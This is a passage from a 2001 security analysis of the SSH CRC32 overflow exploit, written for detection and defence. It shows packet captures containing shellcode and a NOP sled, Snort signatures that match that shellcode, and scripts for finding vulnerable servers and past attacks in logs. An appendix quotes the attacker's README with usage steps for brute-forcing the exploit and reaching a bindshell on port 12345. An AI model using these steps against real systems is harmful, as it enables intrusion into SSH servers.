"ngrep" [5], you can even spot the final connection and brute force attack which interjects the shell code: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= . . . T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP] SSH-1.5-1.2.31. T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP] SSH-1.5-OpenSSH_2.2.0p1. T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP] ............GA..@.......%....`..P.....D&..2.+7#...1!?..c.r).8.^.h..... ..I..b6..9.f........N..0....:BAh@s.e...H......(.D2.Zg......#.......\.j W...O$....6.......$...V..;...U.@Y.K2.p<\..o..?..l.........*.p.K 10.10.10.3:2222 [AP] ............GA..@.....`G.Fg.g.!.i.}..........._.e....=../..6....;....) T.....|c...#W.\wve.cy .n.....q.Sc....}..".N.G.w"....n.../#.....8x..&.Z ....Q/.......8.. T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP] .........4.. T 10.10.10.10:32957 -> 10.10.10.3:2222 [A] ..W...2.......2.......2.......2.......2.......2.......2.......2....... 2.......2.......2.......2.......2.......2.......2.......2.......2 .... ..2!......2$......2%......2(......2)......2,......2-......20......21.. ....24......25......28......29......2<......2=......2@......2A......2D ......2E......2H......2I......2L......2M......2P......2Q......2T...... 2U......2X......2Y......2\......2]......2`......2a......2d......2e.... ..2h......2i......2l......2m......2p......2q......2t......2u......2x.. ....2y......2|......2}......2.......2.......2.......2.......2.......2. ......2.......2.......2.......2.......2.......2.......2.......2....... 2.......2.......2.......2.......2.......2.......2.......2.......2..... ..2.......2.......2.......2.......2.......2.......2.......2.......2... ....2.......2.......2.......2.......2.......2.......2.......2.......2. ......2.......2.......2.......2.......2.......2.......2.......2....... 2.......2.......2.......2.......2.......2.......2.......2.......2..... ..2.......2.......2.......2.......2.......2.......3.......3.......3... ....3.......3.......3.......3.......3.......3.......3.......3.......3. ......3.......3.......3.......3.......3 ......3!......3$......3%...... 3(......3)......3,......3-......30......31......34......35......38.... ..39......3<......3=......3@......3A......3D......3E......3H......3I.. ....3L......3M......3P......3Q......3T......3U......3X......3Y......3\ ......3]......3`......3a......3d........1...p}.@ T 10.10.10.10:32957 -> 10.10.10.3:2222 [A] ......3i......3l......3m......3p......3q......3t......3u......3x...... 3y......3|......3}......3.......3.......3.......3.......3.......3..... ..3.......3.......3.......3.......3.......3.......3.......3.......3... ....3.......3.......3.......3.......3.......3.......3.......3.......3. ......3.......3.......3.......3.......3.......3.......3.......3....... 3.......3.......3.......3.......3.......3.......3.......3.......3..... ..3.......3.......3.......3.......3.......3.......3.......3.......3... ....3.......3.......3.......3.......3.......3.......3.......3.......3. ......3.......3.......3.......3.......3.......4.......4.......4....... 4.......4.......4.......4.......4.......4.......4.......4.......4..... ..4.......4.......4.......4.......4 ......4!......4$......4%......4(.. ....4)......4,......4-......40......41......44......45......48......49 ......4<......4=......4@......4A......4D......4E......4H......4I...... 4L......4M......4P......4Q......4T......4U......4X......4Y......4\.... ..4]......4`......4a......4d......4e......4h......4i......4l......4m.. ....4p......4q......4t......4u......4x......4y......4|......4}......4. ......4.......4.......4.......4.......4.......4.......4.......4....... 4.......4.......4.......4.......4.......4.......4.......4.......4..... ..4.......4.......4.......4.......4.......4.......4.......4.......4... ....4.......4.......4.......4.......4.......4.......4.......4.......4. ......4.......4.......4.......4.........1...p}.@ . . . T 10.10.10.10:32957 -> 10.10.10.3:2222 [A] ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... .....................1..f..1...C.].C.].K.M..M...1..E.Cf.].f.E.09.M..E. .E..E.....M.....CC....C....1..?......A....^.u.1..F..E......M..U....... ./bin/sh.h0h0h0, 7350, zip/TESO!...................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ........................................1...p}.@ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= You can match (for this exploit binary) on the string "h0h0h0, 7350, zip/TESO!" [7] in the packet payload, as well as for the "/bin/sh" and NOP sled. (Of course these, and other strings, may change or disappear in derivatives of the original source.) The following signatures were developed by Marty Roesch and Brian Caswell, for use with Snort v1.8 or higher [6]. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; \ flags:A+; content:"/bin/sh"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow filler"; \ flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow NOOP"; \ flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow"; \ flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \ content:"|FF FF FF FF 00 00|"; offset:8; depth:14; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Identification of potentially vulnerable or exploited hosts =========================================================== Two scanners exist to identify ssh servers and their versions: Jeremy Mates' scan_ssh.pl[8] and Niels Provos' ScanSSH scanner[9]. A script to take the results of a scan with scan_ssh.pl and produce a break report on SSH server version and potential vulnerability can be found in Appendix A. You may need to update the script based on vulnerability information provided by the authors of various SSH servers to get accurate results. [NOTE: You are not necessarily vulnerable just because the banner shows a version string that is listed as "affected". If the patches listed in the RAZOR advisory, e.g., are applied, or if you eliminate v1 and use v2 of the protocol exclusively, the server will not be vulnerable.] Russell Fulton also has published a script for processing Argus[10] logs, included below in Appendix C. Final Note ========== Team TESO issued a public statement about this exploit on 11/8/2001. You can find it here: http://www.team-teso.org/sshd_statement.php Credits ======= Thanks to Cindy Jenkins of UW MCIS for recovery of the artifacts analyzed here, Marty Roesch and Brian Caswell for Snort signatures, Mike Hornung for vulnerability assessment scan data and patches to Jeremy Mates' scanner, Russell Fulton, Peter Van Epp, Simple Nomad, Rik Farrow, Dug Song, other unnamed individuals, and all the folks at SecurityFocus.com for their input. Dave Dittrich http://staff.washington.edu/dittrich/ The most recent version of this file can be found at: http://staff.washington.edu/dittrich/misc/ssh-analysis.txt References ========== [1] Portable Linux Amazing CD (PLAC) v2.9.1pre2, by Fred Cohen http://www.all.net/ForensiX/plac.html [2] Netcat, by der Hobbit http://www.l0pht.com/~weld/netcat/ [3] Reverse Engineer's Query Tool http://packetstormsecurity.org/linux/reverse-engineering/reqt-0.7f.tar.gz [4] LiSt Open Files (lsof) http://sunsite.securitycentralhq.com/mirrors/security/lsof/lsof.tar.gz [5] ngrep, by Jordan Ritter http://www.packetfactory.net/projects/ngrep/ [6] Snort, by Marty Roesch and a cast of thousands http://www.snort.org/ [7] 7350.org / 7350 http://www.7350.org/ http://www.team-teso.org/about.php (see the bottom) [8] ssh_scan.pl, by Jeremy Mates http://sial.org/code/perl/scripts/ssh_scan.pl.html [9] ScanSSH scanner by Niels Provos http://www.monkey.org/~provos/scanssh/ [10] Argus - A generic IP network transaction auditing tool http://www.qosient.com/argus [11] tcpdump of attack traffic (using Red Hat's screwed up version of libpcap) http://staff.washington.edu/dittrich/misc/sshdx.dump [12] tcpreplay http://packages.debian.org/testing/net/tcpreplay.html Appendix A ========== Script for producing a one level break report based on known vulnerability status of several SSH servers and versions. (NOTE: You may need to modify this script for it to be accurate, and to understand its limitations - You must read it before using it.) =-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #!/usr/bin/perl # # ssh-report # # Dave Dittrich # Thu Nov 8 21:39:20 PST 2001 # # Process output of scans for SSH servers, with version identifying # information, into two level break report format by SSH version. # # This script operates on a list of scan results that look # like this: # # % cat scanresults # 10.0.0.1 beavertail.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.2 lumpysoup.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.3 marktwain.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2 # 10.0.0.4 junebug.dept.foo.edu SSH-1.5-1.2.31 # 10.0.0.10 calvin.dept.foo.edu SSH-1.99-OpenSSH_2.5.2p2 # 10.0.0.11 hobbes.dept.foo.edu SSH-1.99-OpenSSH_2.1.1 # 10.0.0.20 willow.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # 10.0.0.21 berry.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # 10.0.0.23 whimpy.dept.foo.edu SSH-1.99-OpenSSH_2.9p2 # # The resulting report (without the "-a" flag) will look like this: # # % ssh-report < scanresults # # SSH-1.5-1.2.31 (affected) # beavertail.dept.foo.edu(10.0.0.1) # lumpysoup.dept.foo.edu(10.0.0.2) # junebug.dept.foo.edu(10.0.0.4) # # # SSH-1.99-OpenSSH_2.1.1 (affected) # hobbes.dept.foo.edu(10.0.0.11) # # By default, this script will only report on those systems that # are running potentially vulnerable SSH servers. Use the "-a" # option to report on all servers. Use "grep -v" to filter out # hosts *before* you run them through this reporting script. # # SSH servers are considered "affected" if they are known, by being # listed in one or more of the following references, to have the crc32 # compensation attack detector vulnerability: # # http://www.kb.cert.org/vuls/id/945216 # http://www.securityfocus.com/bid/2347/ # http://xforce.iss.net/alerts/advise100.php # http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm # # You also may need to adjust the logic below to lump systems # into the "Unknown" category correctly (e.g., if your server # has a custom version string, access control, etc.) # # The list below of servers and potential vulnerability was derived by # summarizing existing versions on a set of production networks and # using the advisories and reference material listed above. You # should update this list as new information is obtained, or if new # versions of the SSH server are found on your network. %affected = ( 'Unknown', 'unknown', 'SSH-1.4-1.2.14', 'not affected', 'SSH-1.4-1.2.15', 'not affected', 'SSH-1.4-1.2.16', 'not affected', 'SSH-1.5-1.2.17', 'not affected', 'SSH-1.5-1.2.18', 'not affected', 'SSH-1.5-1.2.19', 'not affected', 'SSH-1.5-1.2.20', 'not affected', 'SSH-1.5-1.2.21', 'not affected', 'SSH-1.5-1.2.22', 'not affected', 'SSH-1.5-1.2.23', 'not affected', 'SSH-1.5-1.2.24', 'affected', 'SSH-1.5-1.2.25', 'affected', 'SSH-1.5-1.2.26', 'affected', 'SSH-1.5-1.2.27', 'affected', 'SSH-1.5-1.2.28', 'affected', 'SSH-1.5-1.2.29', 'affected', 'SSH-1.5-1.2.30', 'affected', 'SSH-1.5-1.2.31', 'affected', 'SSH-1.5-1.2.31a', 'not affected', 'SSH-1.5-1.2.32', 'not affected', 'SSH-1.5-1.3.7', 'not affected', 'SSH-1.5-Cisco-1.25', 'unknown', 'SSH-1.5-OSU_1.5alpha1', 'unknown', 'SSH-1.5-OpenSSH-1.2', 'affected', 'SSH-1.5-OpenSSH-1.2.1', 'affected', 'SSH-1.5-OpenSSH-1.2.2', 'affected', 'SSH-1.5-OpenSSH-1.2.3', 'affected', 'SSH-1.5-OpenSSH_2.5.1', 'not affected', 'SSH-1.5-OpenSSH_2.5.1p1', 'not affected', 'SSH-1.5-OpenSSH_2.9p1', 'not affected', 'SSH-1.5-OpenSSH_2.9p2', 'not affected', 'SSH-1.5-RemotelyAnywhere', 'not affected', 'SSH-1.99-2.0.11', 'affected w/Version 1 fallback', 'SSH-1.99-2.0.12', 'affected w/Version 1 fallback', 'SSH-1.99-2.0.13', 'affected w/Version 1 fallback', 'SSH-1.99-2.1.0.pl2', 'affected w/Version 1 fallback', 'SSH-1.99-2.1.0', 'affected w/Version 1 fallback', 'SSH-1.99-2.2.0', 'affected w/Version 1 fallback', 'SSH-1.99-2.3.0', 'affected w/Version 1 fallback', 'SSH-1.99-2.4.0', 'affected w/Version 1 fallback', 'SSH-1.99-3.0.0', 'affected w/Version 1 fallback', 'SSH-1.99-3.0.1', 'affected w/Version 1 fallback', 'SSH-1.99-OpenSSH-2.1', 'affected', 'SSH-1.99-OpenSSH_2.1.1', 'affected', 'SSH-1.99-OpenSSH_2.2.0', 'affected', 'SSH-1.99-OpenSSH_2.2.0p1', 'affected', 'SSH-1.99-OpenSSH_2.3.0', 'not affected', 'SSH-1.99-OpenSSH_2.3.0p1', 'not affected', 'SSH-1.99-OpenSSH_2.5.1', 'not affected', 'SSH-1.99-OpenSSH_2.5.1p1', 'not affected', 'SSH-1.99-OpenSSH_2.5.1p2', 'not affected', 'SSH-1.99-OpenSSH_2.5.2p2', 'not affected', 'SSH-1.99-OpenSSH_2.9.9p2', 'not affected', 'SSH-1.99-OpenSSH_2.9', 'not affected', 'SSH-1.99-OpenSSH_2.9p1', 'not affected', 'SSH-1.99-OpenSSH_2.9p2', 'not affected', 'SSH-1.99-OpenSSH_3.0p1', 'not affected', 'SSH-2.0-1.1.1', 'unknown', 'SSH-2.0-2.3.0', 'affected w/Version 1 fallback', 'SSH-2.0-2.4.0', 'affected w/Version 1 fallback', 'SSH-2.0-3.0.0', 'affected w/Version 1 fallback', 'SSH-2.0-3.0.1', 'affected w/Version 1 fallback', 'SSH-2.0-OpenSSH_2.5.1p1', 'not affected', 'SSH-2.0-OpenSSH_2.5.2p2', 'not affected', 'SSH-2.0-OpenSSH_2.9.9p2', 'not affected', 'SSH-2.0-OpenSSH_2.9p2', 'not affected', ); # Make SURE you read the code first. &IKnowWhatImDoing(); $all++, shift(@ARGV) if $ARGV[0] eq "-a"; while (<>) { chop; s/\s+/ /g; ($ip, $host, $version) = split(' ', $_); # Adjust this to identify other strings reported # by servers that have access restrictions, etc. # in place and do not show a specific version number. # They all fall under the category "Unknown" in this case. $version = "Unknown" if ($version eq "Couldn't" || $version eq "Unknown" || $version eq "You" || $version eq "timeout"); $server{"$version:$ip"} = $host; } foreach $i (sort keys %server) { ($version,$ip) = split(":", $i); next if ($affected{$version} eq "not affected" && ! $all); printf("\n\n%s (%s)\n", $version, $affected{$version}) if ($curver ne $version); $curver = $version; print " " . $server{$i} . "($ip)\n"; } exit(0); sub IKnowWhatImDoing { local $IKnowWhatImDoing = 0; # Uncomment the following line to make this script work. # $IKnowWhatImDoing++; die "I told you to read the code first, didn't I?\n" unless $IKnowWhatImDoing; return; } =-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Appendix B ========== The following is a README file that is accompanying one version of the SSH crc32 exploit: --- sh exploit demystified: info supplied by XXXXXXXXXXXXXXXXXXXXXXXXXXXX 1. rename the exploit to filename: ssh 2. type:export blah=loser 3. Once u figured out the syntax, this is how the exploit works First stage is the brute force, if it quits while brute forcing and says stack not found means the ssh is not vunerable Note:This takes ages, if it brute forces for anything more than 45min > i suggest you cancel it Second stage: If brute force is successful it will mvoe on to the second stage it will try some values if the exploit shows this: and freezes on the dots, it means your in business exploiting... DO NOT CLOSE THE EXPLOIT Instead open another term and telnet to the hosts port 12345 for a bindshell remeber to append commands with ; eg: ls; If it tries all the values and fails, then u're outta business and it should drop u back to shell EOF p.s:from my experience i have found the openssh 1.5 to be utter shit in exploiting, the ssh 1.2.6-1.2.30 has a higher chance of success rate Last words:This exploit only works maybe 2/10 times so be patient. --- Appendix C ========== Russell Fulton published the following to the unisog@sans.org email list, based on information provided by Peter Van Epp. From r.fulton@auckland.ac.nz Thu Nov 8 12:38:15 2001 Date: Mon, 5 Nov 2001 11:31:05 +1300 (NZDT) Subject: [unisog] Tool to find ssh attacks in argus logs From: Russell Fulton To: unisog@sans.org, argus-info@lists.andrew.cmu.edu Greetings All, Here is a quick perl hack to scan archived argus[1] logs for evidence of ssh attacks. The current attack that we have seen iterates an offset for the shell code and this script picks up the repeated attempts. The script is quite specific to this attack and looks for ssh session within a quite narrow size range. It has been tested by Peter Van Epp (thanks Peter!) on real data and picked up all know attacks that they had seen and outgoing attacks from machine on the network that had already been compromised. Peter also modified the script to work with argus 1.8.x (see comments). This is a first cut at this problem. If I get time I will modify this (using stuff from my watcher scan detector script) to give real time notification on attacks. [1]: Argus IP audit tool http://www.qosient.com Russell Fulton, Computer and Network Security Officer The University of Auckland, New Zealand #!/usr/bin/perl my %ipn; $ENV{TZ} = 'UTC'; # Assumes version 2.0 ra -- remove A switch if running with 1.8.x data if (! open(RA, "bin/ra -Ancr ".join(' ', @ARGV) . " - tcp and dst port 22 |") ) { die "failed to open connection to server"; } while() { chomp; my ( $timestmp, $proto, $src, $srcp, $sym, $dst, $dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) = unpack "A19x3A4a15xA6A3x2A16xA5xA8xA9xA12xA12a10", $_; # From Peter Van Epp: # If you are luditte like me and still running 1.8.1 comment out the 3 lines # above and uncomment the 5 lines below # my ( $timestmp, $flag, $proto, $src, $srcp, $sym, $dst, # $dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) = # unpack "A18xA3xA4xA15xA6A3xA15xA5xA6xA6x2A9xA9A3", $_; # $src =~ s/ //g; # $dst =~ s/ //g; next unless ( $tobytes > 90000 and $tobytes < 110000 and $fbytes > 300 and $fbytes < 400); if( ! exists $ipn{$src} ) { $ipn {$src} = {}; $ipn {$src}->{COUNT} = 1; $ipn {$src}->{TOTAL} = 0; $ipn{$src}->{TIME} = $timestmp; #print "$ipn{$src}->{TIME}\n"; $ipn {$src}->{$dst} = 1; }; if( ! exists $ipn{$src}->{$dst} ) { $ipn {$src}->{COUNT}++; $ipn {$src}->{$dst} = 1; } else { $ipn {$src}->{$dst}++; } $ipn {$src}->{TOTAL}++; $ipn{$src}->{LTIME} = $timestmp; } print scalar keys %ipn, "\n"; foreach my $ip (sort {$ipn{$b}->{TOTAL} <=> $ipn{$a}->{TOTAL}} keys %ipn ) { # my $dn = gethostbyaddr(pack("C4",split(/\./,$ipn)),2) || ''; # last if $ipn{$ip}->{TOTAL} == 1; print "$ip $ipn{$ip}->{TIME} -- $ipn{$ip}->{LTIME} # number of targets $ipn{$ip}->{COUNT} total sessions $ipn{$ip}->{TOTAL}\n" ; }